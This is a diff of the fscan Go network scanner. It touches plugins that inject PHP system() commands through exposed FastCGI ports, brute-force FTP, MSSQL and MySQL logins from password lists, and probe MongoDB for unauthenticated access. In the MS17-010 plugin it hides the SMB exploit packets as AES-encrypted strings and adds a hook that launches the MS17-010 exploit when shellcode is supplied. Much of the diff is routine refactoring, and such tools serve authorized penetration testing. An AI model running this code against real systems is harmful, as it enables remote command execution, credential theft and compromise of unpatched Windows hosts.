+	blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
+	// 创建数组
+	orig := make([]byte, len(crytedByte))
+	// 解密
+	blockMode.CryptBlocks(orig, crytedByte)
+	// 去补全码
+	orig = PKCS7UnPadding(orig)
+	return string(orig)
+}
+
+// 补码
+// AES加密数据块分组长度必须为128bit(byte[16])，密钥长度可以是128bit(byte[16])、192bit(byte[24])、256bit(byte[32])中的任意一个。
+func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
+	padding := blocksize - len(ciphertext)%blocksize
+	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
+	return append(ciphertext, padtext...)
+}
+
+// 去码
+func PKCS7UnPadding(origData []byte) []byte {
+	length := len(origData)
+	unpadding := int(origData[length-1])
+	return origData[:(length - unpadding)]
 }

Plugins/fcgiscan.go

@@ -23,17 +23,17 @@ func FcgiScan(info *common.HostInfo) {
 		return
 	}
 	url := "/etc/issue"
-	if info.Path != "" {
-		url = info.Path
+	if common.Path != "" {
+		url = common.Path
 	}
 	addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
 	var reqParams string
 	var cutLine = "-----ASDGTasdkk361363s-----\n"
 	switch {
-	case info.Command == "read":
+	case common.Command == "read":
 		reqParams = ""
-	case info.Command != "":
-		reqParams = "<?php system('" + info.Command + "');die('" + cutLine + "');?>"
+	case common.Command != "":
+		reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
 	default:
 		reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
 	}
@@ -54,7 +54,7 @@ func FcgiScan(info *common.HostInfo) {
 		env["REQUEST_METHOD"] = "GET"
 	}
 
-	fcgi, err := New(addr, info.Timeout)
+	fcgi, err := New(addr, common.Timeout)
 	defer func() {
 		if fcgi.rwc != nil {
 			fcgi.rwc.Close()
@@ -93,19 +93,19 @@ func FcgiScan(info *common.HostInfo) {
 	//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
 	var result string
 	var output = string(stdout)
-	if strings.Contains(string(stdout), cutLine) { //命令成功回显
-		output = strings.SplitN(string(stdout), cutLine, 2)[0]
+	if strings.Contains(output, cutLine) { //命令成功回显
+		output = strings.SplitN(output, cutLine, 2)[0]
 		if len(stderr) > 0 {
-			result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
+			result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
 		} else {
-			result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
+			result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
 		}
 		common.LogSuccess(result)
-	} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
+	} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
 		if len(stderr) > 0 {
-			result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
+			result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
 		} else {
-			result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
+			result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
 		}
 		common.LogSuccess(result)
 	}
@@ -191,38 +191,38 @@ func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
 	return
 }
 
-func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
-	this.mutex.Lock()
-	defer this.mutex.Unlock()
-	this.buf.Reset()
-	this.h.init(recType, reqId, len(content))
-	if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
+func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+	c.buf.Reset()
+	c.h.init(recType, reqId, len(content))
+	if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
 		return err
 	}
-	if _, err := this.buf.Write(content); err != nil {
+	if _, err := c.buf.Write(content); err != nil {
 		return err
 	}
-	if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
+	if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
 		return err
 	}
-	_, err = this.rwc.Write(this.buf.Bytes())
+	_, err = c.rwc.Write(c.buf.Bytes())
 	return err
 }
 
-func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
+func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
 	b := [8]byte{byte(role >> 8), byte(role), flags}
-	return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
+	return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
 }
 
-func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
+func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
 	b := make([]byte, 8)
 	binary.BigEndian.PutUint32(b, uint32(appStatus))
 	b[4] = protocolStatus
-	return this.writeRecord(FCGI_END_REQUEST, reqId, b)
+	return c.writeRecord(FCGI_END_REQUEST, reqId, b)
 }
 
-func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
-	w := newWriter(this, recType, reqId)
+func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
+	w := newWriter(c, recType, reqId)
 	b := make([]byte, 8)
 	for k, v := range pairs {
 		n := encodeSize(b, uint32(len(k)))
@@ -324,21 +324,21 @@ func (w *streamWriter) Close() error {
 	return w.c.writeRecord(w.recType, w.reqId, nil)
 }
 
-func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
+func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
 
 	var reqId uint16 = 1
-	defer this.rwc.Close()
+	defer c.rwc.Close()
 
-	err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
+	err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
 	if err != nil {
 		return
 	}
-	err = this.writePairs(FCGI_PARAMS, reqId, env)
+	err = c.writePairs(FCGI_PARAMS, reqId, env)
 	if err != nil {
 		return
 	}
 	if len(reqStr) > 0 {
-		err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
+		err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
 		if err != nil {
 			return
 		}
@@ -349,7 +349,7 @@ func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []
 
 	// recive untill EOF or FCGI_END_REQUEST
 	for {
-		err1 = rec.read(this.rwc)
+		err1 = rec.read(c.rwc)
 		if err1 != nil {
 			if err1 != io.EOF {
 				err = err1

Plugins/findnet.go

@@ -5,6 +5,7 @@ import (
 	"encoding/hex"
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
+	"strconv"
 	"strings"
 	"time"
 )
@@ -22,16 +23,12 @@ func Findnet(info *common.HostInfo) error {
 
 func FindnetScan(info *common.HostInfo) error {
 	realhost := fmt.Sprintf("%s:%v", info.Host, 135)
-	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
+	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
 	if err != nil {
 		return err
 	}
-	err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+	defer conn.Close()
+	err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
 	if err != nil {
 		return err
 	}
@@ -66,11 +63,53 @@ func FindnetScan(info *common.HostInfo) error {
 	err = read(text, info.Host)
 	return err
 }
+
+func HexUnicodeStringToString(src string) string {
+	sText := ""
+	if len(src)%4 != 0 {
+		src += src[:len(src)-len(src)%4]
+	}
+	for i := 0; i < len(src); i = i + 4 {
+		sText += "\\u" + src[i+2:i+4] + src[i:i+2]
+	}
+
+	textUnquoted := sText
+	sUnicodev := strings.Split(textUnquoted, "\\u")
+	var context string
+	for _, v := range sUnicodev {
+		if len(v) < 1 {
+			continue
+		}
+		temp, err := strconv.ParseInt(v, 16, 32)
+		if err != nil {
+			return ""
+		}
+		context += fmt.Sprintf("%c", temp)
+	}
+	return context
+}
+
 func read(text []byte, host string) error {
 	encodedStr := hex.EncodeToString(text)
+
+	hn := ""
+	for i := 0; i < len(encodedStr)-4; i = i + 4 {
+		if encodedStr[i:i+4] == "0000" {
+			break
+		}
+		hn += encodedStr[i : i+4]
+	}
+
+	var name string
+	name = HexUnicodeStringToString(hn)
+
 	hostnames := strings.Replace(encodedStr, "0700", "", -1)
 	hostname := strings.Split(hostnames, "000000")
-	result := "[+] NetInfo:\n[*]" + host
+	result := "[*] NetInfo \n[*]" + host
+	if name != "" {
+		result += "\n   [->]" + name
+	}
+	hostname = hostname[1:]
 	for i := 0; i < len(hostname); i++ {
 		hostname[i] = strings.Replace(hostname[i], "00", "", -1)
 		host, err := hex.DecodeString(hostname[i])

Plugins/ftp.go

@@ -14,10 +14,10 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
 	}
 	starttime := time.Now().Unix()
 	flag, err := FtpConn(info, "anonymous", "")
-	if flag == true && err == nil {
+	if flag && err == nil {
 		return err
 	} else {
-		errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
+		errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
 		common.LogError(errlog)
 		tmperr = err
 		if common.CheckErrs(err) {
@@ -29,16 +29,16 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
 			flag, err := FtpConn(info, user, pass)
-			if flag == true && err == nil {
+			if flag && err == nil {
 				return err
 			} else {
-				errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
+				errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
 				common.LogError(errlog)
 				tmperr = err
 				if common.CheckErrs(err) {
 					return err
 				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * info.Timeout) {
+				if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
 					return err
 				}
 			}
@@ -50,12 +50,12 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
 func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
 	Host, Port, Username, Password := info.Host, info.Ports, user, pass
-	conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
+	conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
 	if err == nil {
 		err = conn.Login(Username, Password)
 		if err == nil {
 			flag = true
-			result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password)
+			result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
 			dirs, err := conn.List("")
 			//defer conn.Logout()
 			if err == nil {

Plugins/icmp.go

@@ -15,7 +15,6 @@ import (
 
 var (
 	AliveHosts []string
-	OS         = runtime.GOOS
 	ExistHosts = make(map[string]struct{})
 	livewg     sync.WaitGroup
 )
@@ -117,7 +116,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
 		if len(AliveHosts) == len(hostslist) {
 			break
 		}
-		since := time.Now().Sub(start)
+		since := time.Since(start)
 		var wait time.Duration
 		switch {
 		case len(hostslist) <= 256:
@@ -159,14 +158,10 @@ func RunIcmp2(hostslist []string, chanHosts chan string) {
 func icmpalive(host string) bool {
 	startTime := time.Now()
 	conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
 	if err != nil {
 		return false
 	}
+	defer conn.Close()
 	if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
 		return false
 	}
@@ -184,17 +179,13 @@ func icmpalive(host string) bool {
 }
 
 func RunPing(hostslist []string, chanHosts chan string) {
-	var bsenv = ""
-	if OS != "windows" {
-		bsenv = "/bin/bash"
-	}
 	var wg sync.WaitGroup
 	limiter := make(chan struct{}, 50)
 	for _, host := range hostslist {
 		wg.Add(1)
 		limiter <- struct{}{}
 		go func(host string) {
-			if ExecCommandPing(host, bsenv) {
+			if ExecCommandPing(host) {
 				livewg.Add(1)
 				chanHosts <- host
 			}
@@ -205,14 +196,15 @@ func RunPing(hostslist []string, chanHosts chan string) {
 	wg.Wait()
 }
 
-func ExecCommandPing(ip string, bsenv string) bool {
+func ExecCommandPing(ip string) bool {
 	var command *exec.Cmd
-	if OS == "windows" {
+	switch runtime.GOOS {
+	case "windows":
 		command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
-	} else if OS == "linux" {
-		command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
-	} else if OS == "darwin" {
-		command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
+	case "darwin":
+		command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
+	default: //linux
+		command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
 	}
 	outinfo := bytes.Buffer{}
 	command.Stdout = &outinfo
@@ -223,7 +215,7 @@ func ExecCommandPing(ip string, bsenv string) bool {
 	if err = command.Wait(); err != nil {
 		return false
 	} else {
-		if strings.Contains(outinfo.String(), "true") {
+		if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 {
 			return true
 		} else {
 			return false
@@ -297,7 +289,7 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
 	}
 
 	i := 0
-	for _ = range arrMap1 {
+	for range arrMap1 {
 		var maxCountKey string
 		var maxCountVal = 0
 		for key, val := range arrMap2 {

Plugins/memcached.go

@@ -9,14 +9,14 @@ import (
 
 func MemcachedScan(info *common.HostInfo) (err error) {
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
+	client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
 	defer func() {
-		if client != nil{
+		if client != nil {
 			client.Close()
 		}
 	}()
 	if err == nil {
-		err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+		err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
 		if err == nil {
 			_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
 			if err == nil {

Plugins/mongodb.go

@@ -2,7 +2,6 @@ package Plugins
 
 import (
 	"fmt"
-	_ "github.com/denisenkom/go-mssqldb"
 	"github.com/shadow1ng/fscan/common"
 	"strings"
 	"time"
@@ -12,7 +11,6 @@ func MongodbScan(info *common.HostInfo) error {
 	if common.IsBrute {
 		return nil
 	}
-
 	_, err := MongodbUnauth(info)
 	if err != nil {
 		errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
@@ -23,34 +21,65 @@ func MongodbScan(info *common.HostInfo) error {
 
 func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
 	flag = false
-	senddata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
+	// op_msg
+	packet1 := []byte{
+		0x69, 0x00, 0x00, 0x00, // messageLength
+		0x39, 0x00, 0x00, 0x00, // requestID
+		0x00, 0x00, 0x00, 0x00, // responseTo
+		0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
+		0x00, 0x00, 0x00, 0x00, // flagBits
+		// sections db.adminCommand({getLog: "startupWarnings"})
+		0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
+	}
+	//op_query
+	packet2 := []byte{
+		0x48, 0x00, 0x00, 0x00, // messageLength
+		0x02, 0x00, 0x00, 0x00, // requestID
+		0x00, 0x00, 0x00, 0x00, // responseTo
+		0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
+		0x00, 0x00, 0x00, 0x00, // flags
+		0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
+		0x00, 0x00, 0x00, 0x00, // numberToSkip
+		0x01, 0x00, 0x00, 0x00, // numberToReturn
+		// query db.adminCommand({getLog: "startupWarnings"})
+		0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
+	}
+
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
+
+	checkUnAuth := func(address string, packet []byte) (string, error) {
+		conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
+		if err != nil {
+			return "", err
 		}
-	}()
-	if err != nil {
-		return flag, err
+		defer conn.Close()
+		err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
+		if err != nil {
+			return "", err
+		}
+		_, err = conn.Write(packet)
+		if err != nil {
+			return "", err
+		}
+		reply := make([]byte, 1024)
+		count, err := conn.Read(reply)
+		if err != nil {
+			return "", err
+		}
+		return string(reply[0:count]), nil
 	}
-	err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+
+	// send OP_MSG first
+	reply, err := checkUnAuth(realhost, packet1)
 	if err != nil {
-		return flag, err
+		reply, err = checkUnAuth(realhost, packet2)
+		if err != nil {
+			return flag, err
+		}
 	}
-	_, err = conn.Write(senddata)
-	if err != nil {
-		return flag, err
-	}
-	buf := make([]byte, 1024)
-	count, err := conn.Read(buf)
-	if err != nil {
-		return flag, err
-	}
-	text := string(buf[0:count])
-	if strings.Contains(text, "totalLinesWritten") {
+	if strings.Contains(reply, "totalLinesWritten") {
 		flag = true
-		result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost)
+		result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost)
 		common.LogSuccess(result)
 	}
 	return flag, err

Plugins/ms17010.go

@@ -11,11 +11,16 @@ import (
 )
 
 var (
-	negotiateProtocolRequest, _  = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
-	sessionSetupRequest, _       = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
-	treeConnectRequest, _        = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
-	transNamedPipeRequest, _     = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
-	trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
+	negotiateProtocolRequest_enc  = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
+	sessionSetupRequest_enc       = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
+	treeConnectRequest_enc        = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
+	transNamedPipeRequest_enc     = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
+	trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
+	negotiateProtocolRequest, _   = hex.DecodeString(AesDecrypt(negotiateProtocolRequest_enc, key))
+	sessionSetupRequest, _        = hex.DecodeString(AesDecrypt(sessionSetupRequest_enc, key))
+	treeConnectRequest, _         = hex.DecodeString(AesDecrypt(treeConnectRequest_enc, key))
+	transNamedPipeRequest, _      = hex.DecodeString(AesDecrypt(transNamedPipeRequest_enc, key))
+	trans2SessionSetupRequest, _  = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
 )
 
 func MS17010(info *common.HostInfo) error {
@@ -33,17 +38,13 @@ func MS17010(info *common.HostInfo) error {
 func MS17010Scan(info *common.HostInfo) error {
 	ip := info.Host
 	// connecting to a host in LAN if reachable should be very quick
-	conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
+	conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
 	if err != nil {
 		//fmt.Printf("failed to connect to %s\n", ip)
 		return err
 	}
-	err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+	defer conn.Close()
+	err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
 	if err != nil {
 		//fmt.Printf("failed to connect to %s\n", ip)
 		return err
@@ -129,8 +130,13 @@ func MS17010Scan(info *common.HostInfo) error {
 		//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
 		//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
 		//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
-		result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
+		result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)
 		common.LogSuccess(result)
+		defer func() {
+			if common.SC != "" {
+				MS17010EXP(info)
+			}
+		}()
 		// detect present of DOUBLEPULSAR SMB implant
 		trans2SessionSetupRequest[28] = treeID[0]
 		trans2SessionSetupRequest[29] = treeID[1]
@@ -146,12 +152,12 @@ func MS17010Scan(info *common.HostInfo) error {
 		}
 
 		if reply[34] == 0x51 {
-			result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
+			result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip)
 			common.LogSuccess(result)
 		}
 
 	} else {
-		result := fmt.Sprintf("[*] %s  (%s)", ip, os)
+		result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)
 		common.LogSuccess(result)
 	}
 	return err

Plugins/mssql.go

@@ -27,7 +27,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
 				if common.CheckErrs(err) {
 					return err
 				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * info.Timeout) {
+				if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
 					return err
 				}
 			}
@@ -39,16 +39,16 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
 func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
 	Host, Port, Username, Password := info.Host, info.Ports, user, pass
-	dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
+	dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
 	db, err := sql.Open("mssql", dataSourceName)
 	if err == nil {
-		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
-		db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
+		db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
+		db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
 		db.SetMaxIdleConns(0)
 		defer db.Close()
 		err = db.Ping()
 		if err == nil {
-			result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
+			result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password)
 			common.LogSuccess(result)
 			flag = true
 		}

Plugins/mysql.go

@@ -27,7 +27,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
 				if common.CheckErrs(err) {
 					return err
 				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * info.Timeout) {
+				if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
 					return err
 				}
